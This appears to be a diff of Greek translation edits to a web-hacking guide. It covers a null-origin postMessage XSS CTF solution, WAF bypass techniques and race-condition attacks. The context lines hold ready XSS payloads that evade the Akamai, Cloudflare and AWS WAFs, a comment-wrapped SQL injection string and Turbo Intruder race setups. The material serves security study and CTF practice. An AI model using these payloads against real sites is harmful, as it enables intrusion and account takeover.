Επομένως, για αυτή την πρόκληση, κάποιος θα μπορούσε να **δημιουργήσει** ένα **iframe**, να **ανοίξει ένα popup** στη σελίδα με τον ευάλωτο χειριστή κώδικα XSS (`/iframe.php`), καθώς το `window.origin === e.origin` επειδή και τα δύο είναι `null`, είναι δυνατό να **στείλει ένα payload που θα εκμεταλλευτεί το XSS**.
|
||||
Επομένως, για αυτή την πρόκληση, θα μπορούσε κανείς να **δημιουργήσει** ένα **iframe**, να **ανοίξει ένα popup** στη σελίδα με τον ευάλωτο χειριστή κώδικα XSS (`/iframe.php`), καθώς το `window.origin === e.origin` επειδή και τα δύο είναι `null`, είναι δυνατό να **στείλει ένα payload που θα εκμεταλλευτεί το XSS**.
|
||||
|
||||
Αυτό το **payload** θα πάρει τον **ταυτοποιητή** και θα στείλει ένα **XSS** **πίσω στην κύρια σελίδα** (τη σελίδα που άνοιξε το popup), **η οποία** θα **αλλάξει τοποθεσία** στη **ευάλωτη** `/iframe.php`. Επειδή ο ταυτοποιητής είναι γνωστός, δεν έχει σημασία ότι η συνθήκη `window.origin === e.origin` δεν ικανοποιείται (θυμηθείτε, η προέλευση είναι το **popup** από το iframe που έχει **προέλευση** **`null`**) επειδή `data.identifier === identifier`. Τότε, το **XSS θα ενεργοποιηθεί ξανά**, αυτή τη φορά στην σωστή προέλευση.
|
||||
```html
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
Στη [**λύση**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) για αυτήν την [**πρόκληση**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic_) προτείνει μια παρόμοια μέθοδο με την προηγούμενη ενότητα. Ας το ελέγξουμε.
|
||||
|
||||
Σε αυτή την πρόκληση, ο επιτιθέμενος πρέπει να **παρακάμψει** αυτό:
|
||||
Σε αυτήν την πρόκληση, ο επιτιθέμενος πρέπει να **bypass** αυτό:
|
||||
```javascript
|
||||
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
|
||||
```
|
||||
@ -25,10 +25,10 @@ await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
|
||||
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
|
||||
document.body.removeChild(iframe) //e.origin === null
|
||||
```
|
||||
Για να παρακαμφθεί ο **δεύτερος έλεγχος** σχετικά με το token, στέλνουμε **`token`** με τιμή `null` και κάνουμε την τιμή του **`window.token`** **`undefined`**:
|
||||
Για να παρακαμφθεί ο **δεύτερος έλεγχος** σχετικά με το token, στέλνουμε **`token`** με τιμή `null` και κάνουμε την τιμή **`window.token`** **`undefined`**:
|
||||
|
||||
- Η αποστολή του `token` στο postMessage με τιμή `null` είναι απλή.
|
||||
- **`window.token`** κατά την κλήση της συνάρτησης **`getCookie`** που χρησιμοποιεί **`document.cookie`**. Σημειώστε ότι οποιαδήποτε πρόσβαση στο **`document.cookie`** σε σελίδες με **`null`** προέλευση προκαλεί ένα **σφάλμα**. Αυτό θα κάνει την τιμή του **`window.token`** να είναι **`undefined`**.
|
||||
- **`window.token`** κατά την κλήση της συνάρτησης **`getCookie`** που χρησιμοποιεί **`document.cookie`**. Σημειώστε ότι οποιαδήποτε πρόσβαση στο **`document.cookie`** σε σελίδες με **`null`** προέλευση προκαλεί ένα **σφάλμα**. Αυτό θα κάνει την **`window.token`** να έχει τιμή **`undefined`**.
|
||||
|
||||
Η τελική λύση από [**@terjanq**](https://twitter.com/terjanq) είναι η [**εξής**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
|
||||
```html
|
||||
|
@ -51,7 +51,7 @@ deny all;
|
||||
|
||||
### **PHP-FPM**
|
||||
|
||||
Nginx FPM configuration:
|
||||
Διαμόρφωση Nginx FPM:
|
||||
```plaintext
|
||||
location = /admin.php {
|
||||
deny all;
|
||||
@ -74,7 +74,7 @@ deny all;
|
||||
|
||||
### Path Confusion
|
||||
|
||||
[**Σε αυτή την ανάρτηση**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) εξηγείται ότι το ModSecurity v3 (μέχρι 3.0.12), **υλοποιούσε εσφαλμένα τη μεταβλητή `REQUEST_FILENAME`** που προοριζόταν να περιέχει τη διαδρομή που προσπελάστηκε (μέχρι την αρχή των παραμέτρων). Αυτό συμβαίνει επειδή εκτελούσε μια αποκωδικοποίηση URL για να αποκτήσει τη διαδρομή.\
|
||||
[**Σε αυτή την ανάρτηση**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) εξηγείται ότι το ModSecurity v3 (μέχρι 3.0.12), **υλοποιούσε εσφαλμένα τη μεταβλητή `REQUEST_FILENAME`** η οποία προοριζόταν να περιέχει τη διαδρομή που προσπελάστηκε (μέχρι την αρχή των παραμέτρων). Αυτό συμβαίνει επειδή εκτελούσε μια αποκωδικοποίηση URL για να αποκτήσει τη διαδρομή.\
|
||||
Ως εκ τούτου, ένα αίτημα όπως το `http://example.com/foo%3f';alert(1);foo=` στο mod security θα υποθέσει ότι η διαδρομή είναι απλώς `/foo` επειδή το `%3f` μετατρέπεται σε `?` που τερματίζει τη διαδρομή URL, αλλά στην πραγματικότητα η διαδρομή που θα λάβει ο διακομιστής θα είναι `/foo%3f';alert(1);foo=`.
|
||||
|
||||
Οι μεταβλητές `REQUEST_BASENAME` και `PATH_INFO` επηρεάστηκαν επίσης από αυτό το σφάλμα.
|
||||
@ -96,13 +96,13 @@ X-Query: Value\r\n
|
||||
Connection: close\r\n
|
||||
\r\n
|
||||
```
|
||||
Ήταν δυνατόν να παρακαμφθεί το AWS WAF επειδή δεν καταλάβαινε ότι η επόμενη γραμμή είναι μέρος της τιμής της κεφαλίδας ενώ ο διακομιστής NODEJS το καταλάβαινε (αυτό διορθώθηκε).
|
||||
Ήταν δυνατόν να παρακαμφθεί το AWS WAF επειδή δεν καταλάβαινε ότι η επόμενη γραμμή είναι μέρος της τιμής του κεφαλίδας ενώ ο διακομιστής NODEJS το καταλάβαινε (αυτό διορθώθηκε).
|
||||
|
||||
## Γενικές παρακάμψεις WAF
|
||||
|
||||
### Όρια Μεγέθους Αιτήσεων
|
||||
|
||||
Συνήθως, τα WAF έχουν έναν συγκεκριμένο περιορισμό μήκους αιτήσεων για έλεγχο και αν μια αίτηση POST/PUT/PATCH είναι πάνω από αυτόν, το WAF δεν θα ελέγξει την αίτηση.
|
||||
Συνήθως, τα WAF έχουν ένα συγκεκριμένο όριο μήκους αιτήσεων για έλεγχο και αν μια αίτηση POST/PUT/PATCH είναι πάνω από αυτό, το WAF δεν θα ελέγξει την αίτηση.
|
||||
|
||||
- Για το AWS WAF, μπορείτε να [**ελέγξετε την τεκμηρίωση**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
|
||||
|
||||
@ -110,7 +110,7 @@ Connection: close\r\n
|
||||
|
||||
- Από [**τα έγγραφα του Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||
|
||||
Παλαιότερα Web Application Firewalls με Core Rule Set 3.1 (ή χαμηλότερα) επιτρέπουν μηνύματα μεγαλύτερα από **128 KB** απενεργοποιώντας την επιθεώρηση σώματος αιτήσεων, αλλά αυτά τα μηνύματα δεν θα ελεγχθούν για ευπάθειες. Για νεότερες εκδόσεις (Core Rule Set 3.2 ή νεότερες), το ίδιο μπορεί να γίνει απενεργοποιώντας τον μέγιστο περιορισμό σώματος αίτησης. Όταν μια αίτηση υπερβαίνει το όριο μεγέθους:
|
||||
Παλαιότερα Web Application Firewalls με Core Rule Set 3.1 (ή χαμηλότερα) επιτρέπουν μηνύματα μεγαλύτερα από **128 KB** απενεργοποιώντας την επιθεώρηση σώματος αιτήσεων, αλλά αυτά τα μηνύματα δεν θα ελεγχθούν για ευπάθειες. Για νεότερες εκδόσεις (Core Rule Set 3.2 ή νεότερες), το ίδιο μπορεί να γίνει απενεργοποιώντας το μέγιστο όριο σώματος αίτησης. Όταν μια αίτηση υπερβαίνει το όριο μεγέθους:
|
||||
|
||||
Αν **λειτουργία πρόληψης**: Καταγράφει και μπλοκάρει την αίτηση.\
|
||||
Αν **λειτουργία ανίχνευσης**: Ελέγχει μέχρι το όριο, αγνοεί το υπόλοιπο και καταγράφει αν το `Content-Length` υπερβαίνει το όριο.
|
||||
@ -143,7 +143,7 @@ Connection: close\r\n
|
||||
```
|
||||
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
Όπως αναφέρεται σε [**αυτή την ανάρτηση στο blog**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), προκειμένου να παρακάμψουμε WAFs που είναι ικανοί να διατηρούν ένα πλαίσιο της εισόδου του χρήστη, θα μπορούσαμε να εκμεταλλευτούμε τις τεχνικές WAF για να κανονικοποιήσουμε την είσοδο των χρηστών.
|
||||
Όπως αναφέρθηκε σε [**αυτή την ανάρτηση στο blog**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), προκειμένου να παρακάμψουμε WAFs που είναι ικανοί να διατηρούν ένα πλαίσιο της εισόδου του χρήστη, θα μπορούσαμε να εκμεταλλευτούμε τις τεχνικές WAF για να κανονικοποιήσουμε την είσοδο των χρηστών.
|
||||
|
||||
Για παράδειγμα, στην ανάρτηση αναφέρεται ότι **η Akamai αποκωδικοποίησε μια είσοδο χρήστη 10 φορές**. Επομένως, κάτι όπως `<input/%2525252525252525253e/onfocus` θα θεωρηθεί από την Akamai ως `<input/>/onfocus` το οποίο **μπορεί να νομίζει ότι είναι εντάξει καθώς η ετικέτα είναι κλειστή**. Ωστόσο, όσο η εφαρμογή δεν αποκωδικοποιεί την είσοδο 10 φορές, το θύμα θα δει κάτι όπως `<input/%25252525252525253e/onfocus` το οποίο είναι **ακόμα έγκυρο για μια επίθεση XSS**.
|
||||
|
||||
@ -158,7 +158,7 @@ Connection: close\r\n
|
||||
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
|
||||
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
|
||||
|
||||
Αναφέρεται επίσης ότι ανάλογα με **το πώς ορισμένα WAFs κατανοούν το πλαίσιο** της εισόδου του χρήστη, μπορεί να είναι δυνατό να το εκμεταλλευτούμε. Το προτεινόμενο παράδειγμα στο blog είναι ότι η Akamai επιτρέπει να βάλουμε οτιδήποτε μεταξύ `/*` και `*/` (πιθανώς επειδή αυτό χρησιμοποιείται συνήθως ως σχόλια). Επομένως, μια SQL injection όπως `/*'or sleep(5)-- -*/` δεν θα ανιχνευθεί και θα είναι έγκυρη καθώς το `/*` είναι η αρχική συμβολοσειρά της ένεσης και το `*/` είναι σχόλιο.
|
||||
Αναφέρεται επίσης ότι ανάλογα με **το πώς ορισμένα WAFs κατανοούν το πλαίσιο** της εισόδου του χρήστη, μπορεί να είναι δυνατό να το εκμεταλλευτούμε. Το προτεινόμενο παράδειγμα στο blog είναι ότι η Akamai επιτρέπει(ε) να βάλουμε οτιδήποτε μεταξύ `/*` και `*/` (πιθανώς επειδή αυτό χρησιμοποιείται συνήθως ως σχόλια). Επομένως, μια SQLinjection όπως `/*'or sleep(5)-- -*/` δεν θα πιαστεί και θα είναι έγκυρη καθώς το `/*` είναι η αρχική συμβολοσειρά της ένεσης και το `*/` είναι σχολιασμένο.
|
||||
|
||||
Αυτού του είδους τα προβλήματα πλαισίου μπορούν επίσης να χρησιμοποιηθούν για **να εκμεταλλευτούν άλλες ευπάθειες από αυτές που αναμένονται** να εκμεταλλευτούν από το WAF (π.χ. αυτό θα μπορούσε επίσης να χρησιμοποιηθεί για να εκμεταλλευτεί μια XSS).
|
||||
|
||||
@ -170,15 +170,15 @@ h2c-smuggling.md
|
||||
|
||||
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Δημιουργία ενός URL API gateway για χρήση με ffuf
|
||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Δημιουργία ενός URL API gateway για χρήση με το ffuf
|
||||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Παρόμοιο με το fireprox
|
||||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Πρόσθετο Burp Suite που χρησιμοποιεί IPs API gateway
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Ένας δυναμικά καθορισμένος αριθμός περιπτώσεων κοντέινερ ενεργοποιείται με βάση το μέγεθος του αρχείου εισόδου και τον παράγοντα διαχωρισμού, με την είσοδο να διαχωρίζεται σε κομμάτια για παράλληλη εκτέλεση, όπως 100 περιπτώσεις που επεξεργάζονται 100 κομμάτια από ένα αρχείο εισόδου 10,000 γραμμών με παράγοντα διαχωρισμού 100 γραμμών.
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Ένας δυναμικά καθορισμένος αριθμός περιβαλλόντων κοντέινερ ενεργοποιείται με βάση το μέγεθος του αρχείου εισόδου και τον παράγοντα διαχωρισμού, με την είσοδο να διαχωρίζεται σε κομμάτια για παράλληλη εκτέλεση, όπως 100 περιβάλλοντα να επεξεργάζονται 100 κομμάτια από ένα αρχείο εισόδου 10,000 γραμμών με παράγοντα διαχωρισμού 100 γραμμών.
|
||||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||||
|
||||
### Regex Bypasses
|
||||
|
||||
Διαφορετικές τεχνικές μπορούν να χρησιμοποιηθούν για να παρακάμψουν τα φίλτρα regex στα τείχη προστασίας. Παραδείγματα περιλαμβάνουν εναλλαγή πεζών και κεφαλαίων, προσθήκη διαλειμμάτων γραμμής και κωδικοποίηση payloads. Πόροι για τις διάφορες παρακάμψεις μπορούν να βρεθούν στο [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) και [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Τα παραδείγματα παρακάτω προήλθαν από [αυτό το άρθρο](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
|
||||
Διαφορετικές τεχνικές μπορούν να χρησιμοποιηθούν για να παρακάμψουν τα φίλτρα regex στα τείχη προστασίας. Παραδείγματα περιλαμβάνουν εναλλαγή πεζών και κεφαλαίων, προσθήκη διακοπών γραμμής και κωδικοποίηση payloads. Πόροι για τις διάφορες παρακάμψεις μπορούν να βρεθούν στο [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) και [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Τα παραδείγματα παρακάτω προήλθαν από [αυτό το άρθρο](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
|
||||
```bash
|
||||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
||||
<<script>alert(XSS)</script> #prepending an additional "<"
|
||||
|
@ -14,16 +14,16 @@
|
||||
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
|
||||
|
||||
- **HTTP/2**: Υποστηρίζει την αποστολή δύο αιτημάτων μέσω μιας μόνο σύνδεσης TCP, μειώνοντας την επίδραση του jitter στο δίκτυο. Ωστόσο, λόγω παραλλαγών στην πλευρά του διακομιστή, δύο αιτήματα μπορεί να μην είναι αρκετά για μια συνεπή εκμετάλλευση race condition.
|
||||
- **HTTP/1.1 'Last-Byte Sync'**: Ενεργοποιεί την προ-αποστολή των περισσότερων τμημάτων 20-30 αιτημάτων, κρατώντας ένα μικρό κομμάτι, το οποίο αποστέλλεται στη συνέχεια μαζί, επιτυγχάνοντας ταυτόχρονη άφιξη στον διακομιστή.
|
||||
- **HTTP/1.1 'Last-Byte Sync'**: Επιτρέπει την προ-αποστολή των περισσότερων τμημάτων 20-30 αιτημάτων, κρατώντας ένα μικρό κομμάτι, το οποίο αποστέλλεται στη συνέχεια μαζί, επιτυγχάνοντας ταυτόχρονη άφιξη στον διακομιστή.
|
||||
|
||||
**Η προετοιμασία για Last-Byte Sync** περιλαμβάνει:
|
||||
|
||||
1. Αποστολή κεφαλίδων και δεδομένων σώματος χωρίς το τελικό byte χωρίς να τερματίσετε τη ροή.
|
||||
2. Παύση για 100ms μετά την αρχική αποστολή.
|
||||
3. Απενεργοποίηση του TCP_NODELAY για να χρησιμοποιηθεί ο αλγόριθμος Nagle για την ομαδοποίηση των τελικών πλαισίων.
|
||||
4. Ping για να ζεστάνει τη σύνδεση.
|
||||
3. Απενεργοποίηση TCP_NODELAY για να χρησιμοποιήσετε τον αλγόριθμο Nagle για την ομαδοποίηση των τελικών πλαισίων.
|
||||
4. Ping για να ζεστάνετε τη σύνδεση.
|
||||
|
||||
Η επόμενη αποστολή των συγκρατημένων πλαισίων θα πρέπει να έχει ως αποτέλεσμα την άφιξή τους σε ένα μόνο πακέτο, επαληθεύσιμο μέσω του Wireshark. Αυτή η μέθοδος δεν εφαρμόζεται σε στατικά αρχεία, τα οποία δεν εμπλέκονται συνήθως σε επιθέσεις RC.
|
||||
Η επόμενη αποστολή των συγκρατημένων πλαισίων θα πρέπει να έχει ως αποτέλεσμα την άφιξή τους σε ένα μόνο πακέτο, επαληθεύσιμο μέσω του Wireshark. Αυτή η μέθοδος δεν ισχύει για στατικά αρχεία, τα οποία δεν εμπλέκονται συνήθως σε επιθέσεις RC.
|
||||
|
||||
### Adapting to Server Architecture
|
||||
|
||||
@ -39,7 +39,7 @@ Frameworks όπως ο χειριστής συνεδρίας PHP σειριοπ
|
||||
|
||||
## Attack Examples
|
||||
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Μπορείτε να στείλετε το αίτημα στο **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), μπορείτε να αλλάξετε στην αίτηση την τιμή που θέλετε να brute force για **`%s`** όπως στο `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` και στη συνέχεια να επιλέξετε το **`examples/race-single-packer-attack.py`** από την αναπτυσσόμενη λίστα:
|
||||
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Μπορείτε να στείλετε το αίτημα στο **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), μπορείτε να αλλάξετε στην αίτηση την τιμή που θέλετε να σπάσετε για **`%s`** όπως στο `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` και στη συνέχεια να επιλέξετε το **`examples/race-single-packer-attack.py`** από την αναπτυσσόμενη λίστα:
|
||||
|
||||
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -91,8 +91,8 @@ engine.openGate(currentAttempt)
|
||||
|
||||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Automated python script**: Ο στόχος αυτού του script είναι να αλλάξει το email ενός χρήστη ενώ συνεχώς το επαληθεύει μέχρι να φτάσει το διαπιστευτήριο επαλήθευσης του νέου email στο τελευταίο email (αυτό συμβαίνει επειδή στον κώδικα παρατηρήθηκε μια RC όπου ήταν δυνατό να τροποποιηθεί ένα email αλλά να σταλεί η επαλήθευση στο παλιό επειδή η μεταβλητή που υποδεικνύει το email ήταν ήδη γεμάτη με το πρώτο).\
|
||||
Όταν η λέξη "objetivo" βρεθεί στα ληφθέντα emails, γνωρίζουμε ότι λάβαμε το διαπιστευτήριο επαλήθευσης του αλλάγμένου email και τερματίζουμε την επίθεση.
|
||||
- **Automated python script**: Ο στόχος αυτού του script είναι να αλλάξει το email ενός χρήστη ενώ συνεχώς το επαληθεύει μέχρι να φτάσει το verification token του νέου email στο τελευταίο email (αυτό συμβαίνει επειδή στον κώδικα παρατηρήθηκε μια RC όπου ήταν δυνατό να τροποποιηθεί ένα email αλλά να σταλεί η επαλήθευση στο παλιό γιατί η μεταβλητή που υποδείκνυε το email ήταν ήδη γεμάτη με το πρώτο).\
|
||||
Όταν η λέξη "objetivo" βρεθεί στα ληφθέντα emails, γνωρίζουμε ότι λάβαμε το verification token του αλλάγμένου email και τερματίζουμε την επίθεση.
|
||||
```python
|
||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||
# Script from victor to solve a HTB challenge
|
||||
@ -219,10 +219,10 @@ response = requests.get(url, verify=False)
|
||||
```
|
||||
### Βελτίωση Επίθεσης Μοναδικού Πακέτου
|
||||
|
||||
Στην αρχική έρευνα εξηγείται ότι αυτή η επίθεση έχει όριο 1,500 bytes. Ωστόσο, σε [**αυτή την ανάρτηση**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), εξηγήθηκε πώς είναι δυνατόν να επεκταθεί ο περιορισμός των 1,500 bytes της επίθεσης μοναδικού πακέτου στο **65,535 B παράθυρο περιορισμού του TCP χρησιμοποιώντας κατακερματισμό επιπέδου IP** (διαχωρισμός ενός μοναδικού πακέτου σε πολλαπλά πακέτα IP) και αποστολή τους σε διαφορετική σειρά, επιτρέποντας την αποφυγή ανασυγκρότησης του πακέτου μέχρι να φτάσουν όλα τα θραύσματα στον διακομιστή. Αυτή η τεχνική επέτρεψε στον ερευνητή να στείλει 10,000 αιτήσεις σε περίπου 166ms. 
|
||||
Στην αρχική έρευνα εξηγείται ότι αυτή η επίθεση έχει όριο 1,500 bytes. Ωστόσο, σε [**αυτή την ανάρτηση**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), εξηγήθηκε πώς είναι δυνατόν να επεκταθεί ο περιορισμός των 1,500 bytes της επίθεσης μοναδικού πακέτου στο **65,535 B παράθυρο περιορισμού του TCP χρησιμοποιώντας κατακερματισμό επιπέδου IP** (διαχωρισμός ενός μοναδικού πακέτου σε πολλαπλά πακέτα IP) και στέλνοντάς τα σε διαφορετική σειρά, επιτρέποντας την αποφυγή επανασυναρμολόγησης του πακέτου μέχρι να φτάσουν όλα τα θραύσματα στον διακομιστή. Αυτή η τεχνική επέτρεψε στον ερευνητή να στείλει 10,000 αιτήσεις σε περίπου 166ms. 
|
||||
|
||||
Σημειώστε ότι αν και αυτή η βελτίωση καθιστά την επίθεση πιο αξιόπιστη σε RC που απαιτεί εκατοντάδες/χιλιάδες πακέτα να φτάσουν ταυτόχρονα, μπορεί επίσης να έχει κάποιους περιορισμούς λογισμικού. Ορισμένοι δημοφιλείς HTTP διακομιστές όπως οι Apache, Nginx και Go έχουν αυστηρή ρύθμιση `SETTINGS_MAX_CONCURRENT_STREAMS` σε 100, 128 και 250. Ωστόσο, άλλοι όπως οι NodeJS και nghttp2 το έχουν απεριόριστο.\
|
||||
Αυτό σημαίνει βασικά ότι ο Apache θα θεωρήσει μόνο 100 HTTP συνδέσεις από μια μοναδική TCP σύνδεση (περιορίζοντας αυτή την επίθεση RC).
|
||||
Αυτό σημαίνει βασικά ότι ο Apache θα εξετάσει μόνο 100 HTTP συνδέσεις από μια μοναδική TCP σύνδεση (περιορίζοντας αυτή την επίθεση RC).
|
||||
|
||||
Μπορείτε να βρείτε μερικά παραδείγματα χρησιμοποιώντας αυτή την τεχνική στο αποθετήριο [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
|
||||
|
||||
@ -231,7 +231,7 @@ response = requests.get(url, verify=False)
|
||||
Πριν από την προηγούμενη έρευνα, αυτά ήταν μερικά payloads που χρησιμοποιήθηκαν και απλώς προσπαθούσαν να στείλουν τα πακέτα όσο το δυνατόν πιο γρήγορα για να προκαλέσουν μια RC.
|
||||
|
||||
- **Επαναλήπτης:** Ελέγξτε τα παραδείγματα από την προηγούμενη ενότητα.
|
||||
- **Εισβολέας**: Στείλτε το **αίτημα** στον **Εισβολέα**, ρυθμίστε τον **αριθμό νημάτων** σε **30** μέσα στο **μενού Επιλογών** και επιλέξτε ως payload **Null payloads** και δημιουργήστε **30.**
|
||||
- **Εισβολέας**: Στείλτε το **αίτημα** στον **Εισβολέα**, ρυθμίστε τον **αριθμό νημάτων** σε **30** μέσα στο **μενού Επιλογών** και, επιλέξτε ως payload **Null payloads** και δημιουργήστε **30.**
|
||||
- **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
@ -298,28 +298,28 @@ asyncio.run(main())
|
||||
Η εκμετάλλευση σύνθετων συνθηκών αγώνα συχνά περιλαμβάνει την εκμετάλλευση σύντομων ευκαιριών για αλληλεπίδραση με κρυφές ή **μη προγραμματισμένες υποκαταστάσεις μηχανής**. Να πώς να προσεγγίσετε αυτό:
|
||||
|
||||
1. **Identify Potential Hidden Substates**
|
||||
- Ξεκινήστε εντοπίζοντας τελικούς σημείους που τροποποιούν ή αλληλεπιδρούν με κρίσιμα δεδομένα, όπως προφίλ χρηστών ή διαδικασίες επαναφοράς κωδικών πρόσβασης. Επικεντρωθείτε σε:
|
||||
- **Storage**: Προτιμήστε τελικούς σημείους που χειρίζονται μόνιμα δεδομένα στην πλευρά του διακομιστή σε σχέση με εκείνους που χειρίζονται δεδομένα στην πλευρά του πελάτη.
|
||||
- **Action**: Αναζητήστε λειτουργίες που τροποποιούν υπάρχοντα δεδομένα, οι οποίες είναι πιο πιθανό να δημιουργήσουν εκμεταλλεύσιμες συνθήκες σε σύγκριση με εκείνες που προσθέτουν νέα δεδομένα.
|
||||
- Ξεκινήστε εντοπίζοντας σημεία που τροποποιούν ή αλληλεπιδρούν με κρίσιμα δεδομένα, όπως προφίλ χρηστών ή διαδικασίες επαναφοράς κωδικού πρόσβασης. Επικεντρωθείτε σε:
|
||||
- **Storage**: Προτιμήστε σημεία που χειρίζονται μόνιμα δεδομένα στον διακομιστή σε σχέση με αυτά που χειρίζονται δεδομένα στον πελάτη.
|
||||
- **Action**: Αναζητήστε λειτουργίες που τροποποιούν υπάρχοντα δεδομένα, οι οποίες είναι πιο πιθανό να δημιουργήσουν εκμεταλλεύσιμες συνθήκες σε σύγκριση με αυτές που προσθέτουν νέα δεδομένα.
|
||||
- **Keying**: Οι επιτυχείς επιθέσεις συνήθως περιλαμβάνουν λειτουργίες που βασίζονται στον ίδιο αναγνωριστικό, π.χ., όνομα χρήστη ή διακριτικό επαναφοράς.
|
||||
2. **Conduct Initial Probing**
|
||||
- Δοκιμάστε τους εντοπισμένους τελικούς σημείους με επιθέσεις συνθήκης αγώνα, παρατηρώντας τυχόν αποκλίσεις από τα αναμενόμενα αποτελέσματα. Απροσδόκητες απαντήσεις ή αλλαγές στη συμπεριφορά της εφαρμογής μπορεί να υποδηλώνουν μια ευπάθεια.
|
||||
- Δοκιμάστε τα εντοπισμένα σημεία με επιθέσεις συνθήκης αγώνα, παρατηρώντας τυχόν αποκλίσεις από τα αναμενόμενα αποτελέσματα. Απροσδόκητες απαντήσεις ή αλλαγές στη συμπεριφορά της εφαρμογής μπορεί να υποδηλώνουν μια ευπάθεια.
|
||||
3. **Demonstrate the Vulnerability**
|
||||
- Στενέψτε την επίθεση στον ελάχιστο αριθμό αιτημάτων που απαιτούνται για την εκμετάλλευση της ευπάθειας, συχνά μόλις δύο. Αυτό το βήμα μπορεί να απαιτεί πολλές προσπάθειες ή αυτοματοποίηση λόγω της ακριβούς χρονικής στιγμής που εμπλέκεται.
|
||||
- Στενέψτε την επίθεση στον ελάχιστο αριθμό αιτημάτων που απαιτούνται για να εκμεταλλευτείτε την ευπάθεια, συχνά μόλις δύο. Αυτό το βήμα μπορεί να απαιτεί πολλές προσπάθειες ή αυτοματοποίηση λόγω της ακριβούς χρονικής στιγμής που εμπλέκεται.
|
||||
|
||||
### Time Sensitive Attacks
|
||||
|
||||
Η ακρίβεια στο χρονοδιάγραμμα των αιτημάτων μπορεί να αποκαλύψει ευπάθειες, ειδικά όταν χρησιμοποιούνται προβλέψιμες μέθοδοι όπως οι χρονικές σφραγίδες για τα διακριτικά ασφαλείας. Για παράδειγμα, η δημιουργία διακριτικών επαναφοράς κωδικών πρόσβασης με βάση τις χρονικές σφραγίδες θα μπορούσε να επιτρέψει ταυτόσημα διακριτικά για ταυτόχρονες αιτήσεις.
|
||||
Η ακρίβεια στο χρονοδιάγραμμα των αιτημάτων μπορεί να αποκαλύψει ευπάθειες, ειδικά όταν χρησιμοποιούνται προβλέψιμες μέθοδοι όπως οι χρονικές σφραγίδες για τα διακριτικά ασφαλείας. Για παράδειγμα, η δημιουργία διακριτικών επαναφοράς κωδικού πρόσβασης με βάση τις χρονικές σφραγίδες θα μπορούσε να επιτρέψει ταυτόσημα διακριτικά για ταυτόχρονες αιτήσεις.
|
||||
|
||||
**Για να εκμεταλλευτείτε:**
|
||||
**To Exploit:**
|
||||
|
||||
